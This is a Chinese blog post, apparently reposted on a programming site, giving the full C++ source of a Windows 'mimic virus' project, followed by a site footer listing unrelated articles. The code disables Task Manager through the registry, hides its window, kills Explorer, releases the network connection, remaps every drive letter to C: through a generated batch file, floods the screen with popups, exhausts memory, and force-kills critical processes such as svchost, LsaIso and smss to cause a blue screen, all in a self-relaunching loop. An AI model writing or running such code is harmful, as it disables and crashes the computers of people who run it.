CookieMaker工作室合作开发C++项目十一:拟态病毒

(注:本文章使用了“无标题技术”)

一天,我和几个同事,平台出了点BUG,居然给我刷出了千年杀,同事看得瑕疵欲裂,发誓要将我挫骨扬灰——

(游戏入口:和平精英31.0 快乐星空

 HeiKe.h:

#ifndef HEIKE_H#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{//HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) {  cerr<<"open error"<<endl;  } outfile<<name;outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{Sleep(x * 1000);//等待n秒if(y == 1)system("shutdown -p");//关机if(y == 2)system("shutdown -s -r 0");//重启if(y == 3)system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y);			else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;}	}
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}	
}
//图标的好管理
void Icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;while(1){GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 2)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	}
}
//卡死
void Die()
{while(1){new char;malloc(INT_MAX);}
}
//远程攻击
void Shutdown_Go()
{system("shutdown /i");
}
void color (int a) {if (a == 0 || a == 14 || a == 20) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 1 || a == 12) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 2) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);} else if (a == 3) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);} else if (a == 4 || a == 11) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);} else if (a == 5 || a == 13) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);} else if (a == 7) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 15) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);} else if (a == 16) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);} else if (a == 17) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);} else if (a == 8) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 6) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);} else if (a == 9) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);}
}
void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{system("ipconfig /release"); 
}
#endif

 heker.h

#ifndef HEKER_H#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>using namespace std;
void SetPos (COORD a) {HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {COORD pos = { i, j };SetPos (pos);
}
VOID Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{if(ico == "错误")MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);if(ico == "警告")MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);if(ico == "问号" || ico == "访问")MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);if(ico == "信息")MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}
struct CP{VOID start(){Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start 爱的病毒.bat");}void stop(){Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start 爱的病毒2.bat");}
}cp;VOID echo_of()
{system("@echo off");
}
VOID Tsk()
{echo_of();DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}
void full_screen() {echo_of();HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);int cy = GetSystemMetrics(SM_CYSCREEN);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &~WS_BORDER);SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{echo_of();HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);CONSOLE_CURSOR_INFO CursorInfo;GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息CursorInfo.bVisible = false; //隐藏控制台光标SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{echo_of();while (1){if (*p != 0){printf("%c", *p++);}else{break;}Sleep(time * 1000);}
}
void show()
{echo_of();color(2);printf("notepad - 记事本\n");printf("calc - 计算器\n");printf("winver - 关于\"Windows\"\n");printf("Nslookup - 默认服务器\n");printf("cmd - 命令行\n");printf("cleanmgr - 磁盘清理\n");printf("charmap - 字符映射表\n");printf("dxdiag - Dxdiag修复工具\n");color(1);printf("taskmgr - 任务管理器\n");color(2);printf("wiaacmgr - 扫描仪\n");printf("mspaint - 画图\n");printf("mmc - 控制台\n");color(532);
}
void Start(string same)
{echo_of();if(same == "notepad")	system("start notepad");if(same == "calc")	system("start calc");if(same == "winver")	system("start winver");if(same == "Nslookup")	system("start Nslookup");if(same == "cmd" || same == "")	system("start cmd");if(same == "cleanmgr")	system("start cleanmgr");if(same == "charmap")	system("start charmap");if(same == "dxdiag")	system("start dxdiag");if(same == "taskmgr")	system("start taskmgr");if(same == "wiaacmgr")	system("start wiaacmgr");		if(same == "mspaint")	system("start mspaint");if(same == "mmc")	system("start mmc");		
}
void Taskkill(const char *same)
{char a[10] = "taskkill ";strcat(a, same);system(a);
}
#endif

Ege.h:

#ifndef MAKER_EGE_H
#define MAKER_EGE_H#define SHOW_CONSOLE#include <ege.h>
using namespace ege;namespace ege_game{void FullWindow(bool istitle, LPCSTR title = ""){if(istitle){setinitmode(0, 0, 0);setcaption(title);}else{setinitmode(1, 0, 0);}initgraph(-1, -1);}void setcolors(color_t behind, color_t front, color_t fill){setcolor(front);setbkcolor(behind);setfillcolor(fill);}void fillcircle(int x, int y, int radius, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);fillellipse(x, y, radius, radius, pimg);}void fillrectangle(int x1, int y1, int x2, int y2, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);rectangle(x1, y1, x2, y2, pimg);bar(x1, y1, x2, y2, pimg);}void put_img(int x, int y, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x, y, img);}/*void put_img_ZhiDingXY(int x1, int y1, int x2, int y2, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x1, y1, x2, y2, img);}*/}#endif

virsul.cpp:

/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A FileMake_Text("WinMain.txt", "Creat Error!");while(1){thistime++;  //Add This TimeIcon(0, 0, 2);  //Draw Iconssystem("start MuOpawS.vbs");  //Start The Filessystem("start WinMain.txt");Icon(0, 0, 1);system("start MuOpawS.vbs");system("start WinMain.txt");Icon(0, 0, 2);system("start MuOpawS.vbs");if(thistime == 60)  //If For Count To 60Blue_Screen();  //Blue Screen}
}
int main(){  //Main FunctionHide();  //Hide WindowTsk();  //More TskProcessRun();  //Have Processwhile(1){virus();}return 0;
}

 main.cpp:

#include <Ege.h>
#include <time.h>
using namespace ege_game;int x, y;void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}VOID Tsk()
{DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}void release()//断开网络
{system("ipconfig /release"); 
}void SB(int a)
{if(a == 0){setcolor(SNOW);}if(a == 1){setcolor(RED);}if(a == 2){setcolor(ORANGE);}if(a == 3){setcolor(YELLOW);}if(a == 4){setcolor(GREEN);}if(a == 5){setcolor(BLUE);}if(a == 6){setcolor(PINK);}if(a == 7){setcolor(PURPLE);}if(a == 8){setcolor(GRAY);}if(a == 9){setcolor(BROWN);}
}int main(void)
{setinitmode(1, 0, 0);initgraph(-1, -1);srand((unsigned)time(NULL));while(1){system("start virsul.exe");Tsk();release();explore();setfont(40, 20, "");delay(1);int a = rand() % 10;outtextxy(x + 180, y -30, "快关注!!!快关注!!!");SB(a);outtextxy(x - 100, y - 100, "快关注!!!");x = rand() % 1920;outtextxy(x - 10, y, "快乐星空最棒!!!");y = rand() % 1080;outtextxy(x, y, "关注快乐星空Maker!!!");}getch();return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390913.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据脱敏】数据交换平台数据脱敏建设方案

1 概述 1.1 数据脱敏定义 1.2 数据脱敏原则 1.2.1基本原则 1.2.2技术原则 1.2.3管理原则 1.3 数据脱敏常用方法 3.1.1泛化技术 3.1.2抑制技术 3.1.3扰乱技术 3.1.4有损技术 1.4 数据脱敏全生命周期 2 制定数据脱敏规程 3 发现敏感数据 4 定义脱敏规则 5 执…

[Unity] ShaderGraph实现DeBuff污染 溶解叠加效果

本篇是在之前的基础上&#xff0c;继续做的功能衍生。 [Unity] ShaderGraph实现Sprite消散及受击变色 完整连连看如下所示&#xff1a;

TypeError: ‘float’ object is not iterable 深度解析

TypeError: ‘float’ object is not iterable 深度解析与实战指南 在Python编程中&#xff0c;TypeError: float object is not iterable是一个常见的错误&#xff0c;通常发生在尝试对浮点数&#xff08;float&#xff09;进行迭代操作时。这个错误表明代码中存在类型使用不…

C基础项目(学生成绩管理系统)

目录 一、项目要求 二、完整代码实例 三、分文件编写代码实例 一、项目要求 1.系统运行&#xff0c;打开如下界面。列出系统帮助菜单&#xff08;即命令菜单&#xff09;&#xff0c;提示输入命令 2.开始时还没有录入成绩&#xff0c;所以输入命令 L 也无法列出成绩。应提…

嵌入式Linux系统中pinictrl框架基本实现

1. 回顾Pinctrl的三大作用 记住pinctrl的三大作用,有助于理解所涉及的数据结构: * 引脚枚举与命名(Enumerating and naming) * 单个引脚 * 各组引脚 * 引脚复用(Multiplexing):比如用作GPIO、I2C或其他功能 * 引脚配置(Configuration):比如上拉、下拉、open drain、驱…

从零入门 AI for Science(AI+药物) 笔记 #Datawhale AI 夏令营

&#x1f496;使用平台 我的Notebook 魔搭社区 https://modelscope.cn/my/mynotebook/preset . 魔搭高峰期打不开Task3又换回飞桨了 吧torch 架构换成了 飞桨的paddle 飞桨AI Studio星河社区-人工智能学习与实训社区 https://aistudio.baidu.com/projectdetail/8191835?cont…

Python数据分析案例58——热门游戏数据分析及其可视化

案例背景 有哪个男生不喜欢玩游戏呢&#xff1f;就算上了班儿也要研究一下游戏以及热门的游戏。正好这里有个热门的游戏数据集&#xff0c;全球热门游戏数据集来做一下一些可视化的分析。 数据介绍 该文件包含一个数据集&#xff0c;详细说明了多个平台上的各种流行游戏。每个…

基于ThinkPHP开发的校园跑腿社区小程序系统源码,包含前后端代码

基于ThinkPHP开发的校园跑腿社区小程序系统源码&#xff0c;包含前后端代码 最新独立版校园跑腿校园社区小程序系统源码 | 附教程 测试环境&#xff1a;NginxPHP7.2MySQL5.6 多校版本&#xff0c;多模块&#xff0c;适合跑腿&#xff0c;外卖&#xff0c;表白&#xff0c;二…

Java中的5种线程池类型

Java中的5种线程池类型 1. CachedThreadPool &#xff08;有缓冲的线程池&#xff09;2. FixedThreadPool &#xff08;固定大小的线程池&#xff09;3. ScheduledThreadPool&#xff08;计划线程池&#xff09;4. SingleThreadExecutor &#xff08;单线程线程池&#xff09;…

使用 Streamlit 和 Python 构建 Web 应用程序

一.介绍 在本文中&#xff0c;我们将探讨如何使用 Streamlit 构建一个简单的 Web 应用程序。Streamlit 是一个功能强大的 Python 库&#xff0c;允许开发人员快速轻松地创建交互式 Web 应用程序。Streamlit 旨在让 Python 开发人员尽可能轻松地创建 Web 应用程序。以下是一些主…

萱仔大模型学习记录5-langchain实战

前面我的bertlora微调已经跑出了不错的结果&#xff0c;我也学会了如何在bert上使用Lora进行微调&#xff0c;我后续会补充一个医疗意图识别的项目于这个系列&#xff0c;现在这个医疗意图识别代码还暂时不准备公开。我就继续按照我的计划学习一番LangChain。 LangChain是一个用…

【软件测试】--接口测试

1. 接口用例设计 接口测试的测试点 功能测试 单接口功能&#xff1a; 手工测试中的单个业务模块&#xff0c;一般对应一个接口 登陆业务 --> 登陆接口加入购物车业务 --> 加入购物车接口订单业务 --> 订单接口支付业务 --> 支付接口 借助工具、代码。绕开前端界面…

AI大模型技术的四大核心架构分析

AI大模型技术的四大核心架构演进之路 随着人工智能技术的飞速发展&#xff0c;大模型技术已经成为AI领域的重要分支。 深度剖析四大大模型技术架构&#xff1a;纯粹的Prompt提示词法、Agent Function Calling机制&#xff0c;RAG&#xff08;检索增强生成&#xff09;及Fine-…

NSSCTF-Web题目27(Nginx漏洞、php伪协议、php解析绕过)

目录 [HNCTF 2022 WEEK2]easy_include 1、题目 2、知识点 3、思路 [NSSRound#8 Basic]MyDoor 4、题目 5、知识点 6、思路 [HNCTF 2022 WEEK2]easy_include 1、题目 2、知识点 nginx日志漏洞执行系统命令 3、思路 打开题目&#xff0c;出现源码 题目要我们上传一个fi…

web浏览器播放rtsp视频流,海康监控API

概述 这里记录一下如何让前端播放rtsp协议的视频流 ​ 项目中调用海康API&#xff0c;生成的视频流(hls、ws、rtmp等)通过PotPlayer播放器都无法播放&#xff0c;说明视频流有问题&#xff0c;唯独rtsp视频流可以播放。 但是浏览器本身是无法播放rtsp视频的&#xff0c;即使…

C++——异常

前言&#xff1a;本篇文章我们来分享C的一个全新内容——异常。 目录 一.异常概念 二.异常的使用 1.异常的抛出和匹配原则 2.在函数调用链中异常栈展开匹配原则 3.异常的重新抛出 三.异常的优缺点 1.优点 2.缺点 结语 一.异常概念 异常是一种处理错误的方式&#xff…

完成QT上位机(八)

一. 正式开始设计界面 这一章节我们将完成QT上位机的设计&#xff0c;如果有同学对QtCreater的使用不太熟悉的&#xff0c;可以参考下面的链接 Qt 快速入门系列教程 Qt 快速入门系列教程 (gitbooks.io)https://wizardforcel.gitbooks.io/qt-beginning/content/ 二. 数据库处…

自动气象站:高度自动化、智能化和精准化

自动气象站&#xff0c;作为科技进步的产物&#xff0c;以其高度的自动化、智能化和精准化特点&#xff0c;极大地提升了气象观测的效率和准确性。它集成了多种高精度传感器&#xff0c;能够全天候、不间断地监测温度、湿度、气压、风速、风向、降水量等关键气象要素&#xff0…

小试牛刀-Telebot区块链游戏机器人(TS升级)

目录 1.编写目的 2.为什么使用TypeScript实现? 3.实现功能 3.1 AI图片生成 3.2 签到 3.3 邀请 3.4 WalletConnect连接 4.功能实现详解 4.1 AI图片生成 4.2 签到 4.3 邀请 4.4 WalletConnect连接 5.功能截图 ​6.问题整理 Welcome to Code Blocks blog 本篇文章主…

【图解秒杀系列】秒杀场景介绍及其相关技术点

【图解秒杀系列】秒杀场景介绍及其相关技术点 秒杀场景介绍秒杀页面的交互秒杀的整套流程 秒杀系统面临的挑战秒杀涉及的技术点 秒杀场景介绍 电商系统的秒杀是一种营销活动&#xff0c;在特定的时间点&#xff0c;以极低的价格&#xff0c;有限的商品数量&#xff0c;吸引大量…